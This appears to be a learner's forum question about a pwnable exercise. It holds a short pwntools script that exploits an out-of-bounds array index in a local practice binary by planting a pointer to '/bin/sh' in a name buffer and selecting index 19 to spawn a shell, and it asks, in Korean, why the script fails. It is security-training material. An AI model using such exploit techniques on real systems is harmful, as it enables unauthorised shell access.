Question

from pwn import *

context.log_level='debug'

def slog(name,addr) : return success(name + " : " + hex(addr))

p=process('./out_of_bound')
e=ELF('./out_of_bound')

command_addr=e.symbols['command']
name_addr=e.symbols['name']
distance=name_addr-command_addr

slog('name_addr',name_addr)

p.recv()
name=p32(name_addr+4)+b'/bin/sh\x00'
p.sendline(name)

p.recv()
p.sendline(b'19')

이 코드로 하면 왜 안되는지 궁금합니다 ㅜㅜㅜ

                                                                                                                                                                                                                                                                                                                                                                                                        ~                                                                                                                                    ~                                                                                                                                    ~                                                                                                                                    ~                                                                                                                                    ~                                                                                                                                    ~                                                                                                                                    ~

#pwnable